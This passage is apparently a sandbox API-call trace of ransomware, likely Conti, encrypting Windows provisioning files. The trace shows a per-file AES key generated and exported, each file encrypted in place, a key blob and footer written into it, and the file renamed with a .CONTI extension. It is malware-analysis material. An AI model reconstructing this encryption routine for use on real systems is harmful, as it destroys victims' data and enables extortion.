emirates)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.002] GetProcessHeap () returned 0x1720000
	[0112.002] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.002] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0112.002] GetProcessHeap () returned 0x1720000
	[0112.002] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6574af8 | out: hHeap=0x1720000) returned 1
	[0112.002] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0112.002] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x1804098 | out: phKey=0x1804098*=0x6b7f038) returned 1
	[0112.002] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180409c, pdwDataLen=0x34ffaac | out: pbData=0x180409c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0112.003] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.003] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0112.003] GetLastError () returned 0x0
	[0112.004] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=671) returned 1
	[0112.004] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29f
	[0112.004] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.004] SetEndOfFile (hFile=0x3e8) returned 1
	[0112.004] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.004] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.004] WriteFile (in: hFile=0x3e8, lpBuffer=0x180409c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x180409c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.010] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.010] ReadFile (in: hFile=0x3e8, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x29f, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x29f, lpOverlapped=0x0) returned 1
	[0112.010] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x29f, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2a0) returned 1
	[0112.010] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.011] WriteFile (in: hFile=0x3e8, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2a0, lpOverlapped=0x0) returned 1
	[0112.011] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.011] WriteFile (in: hFile=0x3e8, lpBuffer=0x1804090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x1804090*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0112.011] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.011] CloseHandle (hObject=0x3e8) returned 1
	[0112.011] GetProcessHeap () returned 0x1720000
	[0112.011] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.011] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0112.011] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.011] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\469__Connections_Cellular_Cable & Wireless Guernsey Ltd (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\469__connections_cellular_cable & wireless guernsey ltd (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.012] GetProcessHeap () returned 0x1720000
	[0112.012] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.012] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0112.012] GetProcessHeap () returned 0x1720000
	[0112.012] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6574db8 | out: hHeap=0x1720000) returned 1
	[0112.012] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0112.012] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6515510 | out: phKey=0x6515510*=0x6b7f1f8) returned 1
	[0112.012] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515514, pdwDataLen=0x34ffaac | out: pbData=0x6515514*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0112.013] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.013] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0112.013] GetLastError () returned 0x0
	[0112.013] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=741) returned 1
	[0112.014] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e5
	[0112.014] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.014] SetEndOfFile (hFile=0x3e8) returned 1
	[0112.014] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.014] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.014] WriteFile (in: hFile=0x3e8, lpBuffer=0x6515514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6515514*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.023] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.023] ReadFile (in: hFile=0x3e8, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2e5, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2e5, lpOverlapped=0x0) returned 1
	[0112.023] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2e5, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2f0) returned 1
	[0112.023] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.024] WriteFile (in: hFile=0x3e8, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2f0, lpOverlapped=0x0) returned 1
	[0112.024] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.024] WriteFile (in: hFile=0x3e8, lpBuffer=0x6515508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6515508*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0112.024] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.024] CloseHandle (hObject=0x3e8) returned 1
	[0112.024] GetProcessHeap () returned 0x1720000
	[0112.024] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.024] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0112.024] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.024] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\470__Connections_Cellular_Manx Telecom (Pronto GSM) (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\470__connections_cellular_manx telecom (pronto gsm) (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.025] GetProcessHeap () returned 0x1720000
	[0112.025] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.025] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0112.025] GetProcessHeap () returned 0x1720000
	[0112.025] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6574f38 | out: hHeap=0x1720000) returned 1
	[0112.025] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0112.025] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x6b7f038) returned 1
	[0112.025] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x34ffaac | out: pbData=0x17c459c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0112.026] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0112.026] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0112.026] GetLastError () returned 0x0
	[0112.026] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=857) returned 1
	[0112.026] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x359
	[0112.026] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.026] SetEndOfFile (hFile=0x3e8) returned 1
	[0112.027] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.027] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.027] WriteFile (in: hFile=0x3e8, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.031] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.031] ReadFile (in: hFile=0x3e8, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x359, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x359, lpOverlapped=0x0) returned 1
	[0112.031] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x359, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x360) returned 1
	[0112.031] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.031] WriteFile (in: hFile=0x3e8, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x360, lpOverlapped=0x0) returned 1
	[0112.031] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.031] WriteFile (in: hFile=0x3e8, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0112.031] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.031] CloseHandle (hObject=0x3e8) returned 1
	[0112.031] GetProcessHeap () returned 0x1720000
	[0112.031] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.031] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml"
	[0112.031] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI"
	[0112.031] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\472__Connections_Cellular_O2 - UK (United Kingdom)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\472__connections_cellular_o2 - uk (united kingdom)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0112.034] GetProcessHeap () returned 0x1720000
	[0112.034] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.034] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0112.035] GetProcessHeap () returned 0x1720000
	[0112.035] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f95d0 | out: hHeap=0x1720000) returned 1
	[0112.035] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0112.035] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x6b7f3f8) returned 1
	[0112.035] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x34ffaac | out: pbData=0x17c4ebc*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0112.035] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml")) returned 0x20
	[0112.036] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\474__Connections_Cellular_O2 - UK (United Kingdom)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\474__connections_cellular_o2 - uk (united kingdom)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0112.036] GetLastError () returned 0x0
	[0112.036] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=846) returned 1
	[0112.036] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34e
	[0112.036] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.036] SetEndOfFile (hFile=0x3e8) returned 1
	[0112.036] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.036] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.036] WriteFile (in: hFile=0x3e8, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0112.808] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.808] ReadFile (in: hFile=0x3e8, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x34e, lpOverlapped=0x0) returned 1
